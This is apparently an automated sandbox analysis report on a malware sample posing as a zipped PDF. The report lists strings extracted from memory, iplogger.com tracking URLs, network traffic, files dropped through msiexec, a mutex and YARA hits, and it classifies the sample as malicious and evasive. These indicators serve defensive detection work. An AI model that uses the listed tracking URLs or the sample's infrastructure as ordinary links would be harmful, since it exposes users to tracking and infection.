Source: winlog.exe, 00000013.00000000.1615949987.0000000000401000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://vso-software.fr/products.phpU
Source: winlog.exe, 00000013.00000002.2338977690.0000000005FBE000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000003.1651319981.00000000FFD60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: winlog.exe, 00000013.00000003.1650726781.00000000FFE00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.ascendercorp.com/typedesigners.html
Source: winlog.exe, 00000013.00000002.2335386838.0000000003DED000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.ascendercorp.com/typedesigners.html03
Source: winlog.exe, 00000013.00000002.2335386838.0000000003DED000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.ascendercorp.com/typedesigners.htmll03
Source: winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.baua.de/nn_56926/de/Themen-von-A-Z/Arbeitsstaetten/ASR/pdf/ASR-A1-3.pdfjc
Source: winlog.exe, 00000013.00000003.1651319981.00000000FFD60000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000003.1651634090.00000000FFDB0000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000002.2338977690.0000000005F47000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.com
Source: winlog.exe, 00000013.00000002.2338977690.0000000005F47000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.com-
Source: winlog.exe, 00000013.00000002.2338977690.0000000005F47000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.com4Z
Source: winlog.exe, 00000013.00000002.2338977690.0000000005F47000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.comH
Source: winlog.exe, 00000013.00000002.2338977690.0000000005F47000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.comk
Source: winlog.exe, 00000013.00000000.1624601251.0000000001E93000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.delphi-jedi.org
Source: winlog.exe, 00000013.00000000.1624601251.0000000001E93000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.ffmpeg.org
Source: winlog.exe, 00000013.00000002.2338977690.000000000601E000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000002.2340551523.00000000060A5000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000003.1651006222.00000000FFD1D000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000002.2338977690.0000000005F47000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000002.2342790721.0000000007586000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: winlog.exe, 00000013.00000002.2335386838.0000000003DED000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000002.2340551523.000000000613B000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000003.1653269217.00000000FF9C0000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000003.1649951240.00000000FFDE0000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000003.1651006222.00000000FFC40000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000003.1651319981.00000000FFD60000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000002.2340551523.00000000060A5000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000003.1651006222.00000000FFD1D000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000002.2338977690.0000000005F47000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: winlog.exe, 00000013.00000002.2335386838.0000000003DED000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000002.2340551523.000000000613B000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000003.1649951240.00000000FFDE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/
Source: winlog.exe, 00000013.00000003.1650726781.00000000FFE00000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000002.2342790721.0000000007500000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.html
Source: winlog.exe, 00000013.00000003.1650726781.00000000FFE00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: winlog.exe, 00000013.00000002.2342790721.0000000007500000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.htmll
Source: winlog.exe, 00000013.00000002.2335386838.0000000003DED000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersoi
Source: winlog.exe, 00000013.00000002.2335386838.0000000003DED000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000002.2338977690.0000000005F47000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersphy
Source: winlog.exe, 00000013.00000002.2338977690.0000000005F47000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com7d
Source: winlog.exe, 00000013.00000002.2342790721.0000000007586000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comchr
Source: winlog.exe, 00000013.00000002.2335386838.0000000003DED000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comes.
Source: winlog.exe, 00000013.00000002.2335386838.0000000003DED000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comn
Source: winlog.exe, 00000013.00000002.2342790721.0000000007586000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: winlog.exe, 00000013.00000002.2342790721.0000000007586000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.comiv
Source: winlog.exe, 00000013.00000002.2342790721.0000000007586000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.comivK
Source: winlog.exe, 00000013.00000002.2342790721.0000000007586000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.comiva
Source: winlog.exe, 00000013.00000002.2338977690.000000000601E000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000003.1651006222.00000000FFD1D000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000002.2342790721.0000000007586000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: winlog.exe, 00000013.00000002.2342790721.0000000007586000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/
Source: winlog.exe, 00000013.00000002.2338977690.000000000601E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn2?
Source: winlog.exe, 00000013.00000002.2342790721.0000000007586000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cna
Source: winlog.exe, 00000013.00000002.2342790721.0000000007586000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cncom
Source: winlog.exe, 00000013.00000002.2338977690.000000000601E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cnr
Source: winlog.exe, 00000013.00000002.2338977690.000000000601E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cnuD
Source: winlog.exe, 00000013.00000003.1650726781.00000000FFE00000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000002.2342790721.0000000007586000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/
Source: winlog.exe, 00000013.00000003.1650726781.00000000FFE00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: winlog.exe, 00000013.00000002.2335386838.0000000003DED000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm03
Source: winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.gimp.org/S
Source: winlog.exe, 00000013.00000000.1624601251.0000000001E93000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html
Source: winlog.exe, 00000013.00000003.1651006222.00000000FFD1D000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000002.2342790721.0000000007586000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.icon-king.com/projects/nuvola/v=
Source: winlog.exe, 00000013.00000002.2344795953.00000000077FF000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000002.2346195011.0000000018001000.00000020.00000001.01000000.00000008.sdmp, winlog.exe, 00000013.00000003.1821942074.000000000780F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.indyproject.org/
Source: winlog.exe, 00000013.00000003.1652008864.00000000FFE10000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000003.1651634090.00000000FFDB0000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000003.1653269217.00000000FFBBE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: winlog.exe, 00000013.00000002.2340551523.00000000060A5000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/%5%5%.
Source: winlog.exe, 00000013.00000002.2340551523.00000000060A5000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/-------
Source: winlog.exe, 00000013.00000002.2340551523.00000000060A5000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/.
Source: winlog.exe, 00000013.00000002.2340551523.00000000060A5000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/..2
Source: winlog.exe, 00000013.00000002.2340551523.00000000060A5000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/..3
Source: winlog.exe, 00000013.00000002.2340551523.00000000060A5000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/.9.;G
Source: winlog.exe, 00000013.00000002.2340551523.00000000060A5000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp//
Source: winlog.exe, 00000013.00000002.2340551523.00000000060A5000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp//:
Source: winlog.exe, 00000013.00000003.1651634090.00000000FFDB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/0
Source: winlog.exe, 00000013.00000002.2340551523.00000000060A5000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/44444444
Source: winlog.exe, 00000013.00000002.2340551523.00000000060A5000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/=$$$$HHH
Source: winlog.exe, 00000013.00000002.2340551523.00000000060A5000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/AAAAAAAA
Source: winlog.exe, 00000013.00000002.2340551523.00000000060A5000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/GH$.H=WB
Source: winlog.exe, 00000013.00000002.2340551523.00000000060A5000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/S
Source: winlog.exe, 00000013.00000000.1615949987.00000000015CA000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.lifeboat.jp/products/ctv1/ctv1_buy.html
Source: winlog.exe, 00000013.00000000.1624601251.0000000001E93000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.mozilla.org/MPL/MPL-1.1.html
Source: winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.openoffice.org/
Source: winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.oxygen-icons.org/
Source: winlog.exe, 00000013.00000002.2335386838.0000000003DED000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000003.1649951240.00000000FFDE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: winlog.exe, 00000013.00000003.1651006222.00000000FFD1D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: winlog.exe, 00000013.00000002.2338977690.0000000005F47000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.comCf7
Source: winlog.exe, 00000013.00000002.2338977690.0000000005F47000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.comt
Source: winlog.exe, 00000013.00000003.1650909511.00000000FFE30000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000003.1651006222.00000000FFD1D000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000002.2342790721.0000000007586000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: winlog.exe, 00000013.00000000.1624601251.0000000001E93000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.soft-gems.net
Source: winlog.exe, 00000013.00000000.1624601251.0000000001E93000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.soft-gems.net/supplement/download.php?ID=28
Source: winlog.exe, 00000013.00000003.1650726781.00000000FFE00000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000002.2342790721.0000000007500000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000003.1651319981.00000000FFD60000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000002.2338977690.000000000601E000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000003.1650584877.00000000FFDE0000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000003.1651006222.00000000FFD1D000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000003.1650403378.00000000FFDBE000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000003.1651634090.00000000FFDB0000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000002.2342790721.0000000007586000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: winlog.exe, 00000013.00000002.2338977690.0000000005F47000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com8k8l8m8o
Source: winlog.exe, 00000013.00000002.2338977690.0000000005F47000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com;
Source: winlog.exe, 00000013.00000002.2342790721.0000000007586000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.comions
Source: winlog.exe, 00000013.00000002.2338977690.0000000005F00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.comiryop
Source: winlog.exe, 00000013.00000002.2338977690.0000000005F47000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.comtu=
Source: winlog.exe, 00000013.00000002.2338977690.0000000005F00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.comtypep
Source: winlog.exe, 00000013.00000002.2335386838.0000000003DED000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000003.1650403378.00000000FFDBE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.net
Source: winlog.exe, 00000013.00000002.2335386838.0000000003DED000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000003.1649951240.00000000FFDE0000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000003.1651634090.00000000FFDB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.de
Source: winlog.exe, 00000013.00000002.2338977690.0000000005F00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deCleap
Source: winlog.exe, 00000013.00000002.2338977690.0000000005F00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deaphyp
Source: winlog.exe, 00000013.00000002.2335386838.0000000003DED000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.ded
Source: winlog.exe, 00000013.00000000.1624601251.0000000001E93000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.vso-software.fr/?adl=1
Source: winlog.exe, 00000013.00000000.1615949987.00000000015CA000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.vso-software.fr/download.php
Source: winlog.exe, 00000013.00000000.1615949987.0000000000E01000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.vso-software.fr/guides/cxd/how-to-convert-avi-to-dvd.php?adl=1U
Source: winlog.exe, 00000013.00000000.1615949987.00000000015CA000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.vso-software.fr/products.php
Source: winlog.exe, 00000013.00000000.1615949987.0000000000401000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.vso-software.fr/products/
Source: winlog.exe, 00000013.00000000.1615949987.0000000000401000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.vso-software.fr/products/U
Source: winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.vso-software.fr/redirect.php?site=converters_need_decryptor
Source: winlog.exe, 00000013.00000000.1615949987.0000000000E01000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.vso-software.fr/redirect.php?url=http://oasis.vso-software.fr/Additional%20DVD%20menu%20t
Source: winlog.exe, 00000013.00000000.1615949987.0000000000E01000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.vso-software.fr/secure/auto_update.phpU
Source: winlog.exe, 00000013.00000000.1615949987.0000000000E01000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.vso-software.fr/secure/fast_check.php
Source: winlog.exe, 00000013.00000000.1615949987.0000000000E01000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.vso-software.fr/secure/license_manager.php?m=hello
Source: winlog.exe, 00000013.00000000.1615949987.0000000000E01000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.vso-software.fr/secure/license_manager.php?m=license
Source: winlog.exe, 00000013.00000000.1615949987.0000000000E01000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.vso-software.fr/secure/rlist.php?f=get
Source: winlog.exe, 00000013.00000000.1615949987.0000000000401000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.vso-software.fr/shop.php
Source: winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.vso-software.fr/support.php
Source: winlog.exe, 00000013.00000000.1615949987.0000000000E01000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.vso-software.fr/support.phpU
Source: winlog.exe, 00000013.00000000.1615949987.0000000000401000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.vso-software.fr/update/U
Source: winlog.exe, 00000013.00000000.1615949987.0000000000401000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.vso-software.frU
Source: winlog.exe, 00000013.00000003.1651319981.00000000FFD60000.00000004.00001000.00020000.00000000.sdmp, winlog.exe, 00000013.00000002.2338977690.0000000005F47000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: winlog.exe, 00000013.00000002.2338977690.0000000005F47000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn#
Source: MSI6140.tmp, 00000010.00000002.1601552173.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, MSI6140.tmp, 00000010.00000002.1601552173.0000000000DC4000.00000004.00000020.00020000.00000000.sdmp, MSI6140.tmp, 00000010.00000002.1601552173.0000000000D30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.com/LABORAL
Source: MSI6140.tmp, 00000010.00000002.1601552173.0000000000D30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.com/LABORAL##
Source: MSI6140.tmp, 00000010.00000002.1601552173.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.com/LABORAL3
Source: MSI6140.tmp, 00000010.00000002.1601552173.0000000000D38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.com/LABORAL6.p
Source: MSI6140.tmp, 00000010.00000002.1601552173.0000000000D38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.com/LABORALB
Source: MSI6140.tmp, 00000010.00000002.1603430983.00000000032F0000.00000004.00000020.00020000.00000000.sdmp, MSI6140.tmp, 00000010.00000002.1602133412.0000000000E80000.00000004.00000020.00020000.00000000.sdmp, MSI6140.tmp, 00000010.00000002.1601552173.0000000000D30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.com/LABORALC:
Source: MSI6140.tmp, 00000010.00000002.1601552173.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.com/LABORALYw
Source: MSI6140.tmp, 00000010.00000002.1601552173.0000000000DA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.com/LABORALb
Source: MSI6140.tmp, 00000010.00000002.1602877276.0000000002EB9000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.com/LABORALerlaylw8
Source: MSI6140.tmp, 00000010.00000002.1601552173.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.com/LABORALvw
Source: MSI6140.tmp, 00000010.00000002.1601552173.0000000000D30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.com/LABORAL~.p
Source: winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: https://www.vso-software.fr/
Source: winlog.exe, 00000013.00000000.1615949987.0000000000E01000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: https://www.vso-software.fr/secure/lm/rsi.php
Source: winlog.exe, 00000013.00000000.1624601251.0000000001E93000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: https://www.vso-software.fr/vso-partners.php

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49688 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.16:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.221.246.93:443 -> 192.168.2.16:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.221.246.93:443 -> 192.168.2.16:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.16:49723 version: TLS 1.2

System Summary

Downloads suspicious files via Chrome

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File dump: C:\Users\user\Downloads\DOC70219873816PDF_02.zip (copy)

Jump to dropped file

PE file contains section with special chars

Source: avutil.dll.12.dr	Static PE information: section name: .0#7
Source: avutil.dll.12.dr	Static PE information: section name: .r+)

Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe

Process Stats: CPU usage > 24%

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\3e5a47.msi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6062.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI60E0.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI611F.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6140.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI616F.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\SourceHash{1F6D0D30-49C2-43B0-B464-982092FF4C2D}	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI622C.tmp	Jump to behavior

Source: C:\Windows\System32\msiexec.exe

File deleted: C:\Windows\Installer\MSI6062.tmp

Jump to behavior

Source: winlog.exe.12.dr

Static PE information: Resource name: RT_RCDATA type: PE32 executable (console) Intel 80386, for MS Windows

Source: avutil.dll.12.dr	Static PE information: Number of sections : 13 > 10
Source: winlog.exe.12.dr	Static PE information: Number of sections : 11 > 10

Source: classification engine

Classification label: mal76.evad.win@31/47@12/7

Source: C:\Windows\System32\msiexec.exe

File created: C:\Program Files (x86)\DOC70219873816PDF_02

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe

Mutant created: \Sessions\1\BaseNamedObjects\Berlinartz

Source: C:\Windows\System32\msiexec.exe

File created: C:\Windows\TEMP\~DF2E5367A7C81AD99D.TMP

Jump to behavior

Source: Yara match	File source: 00000013.00000000.1615949987.0000000000401000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe, type: DROPPED

Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
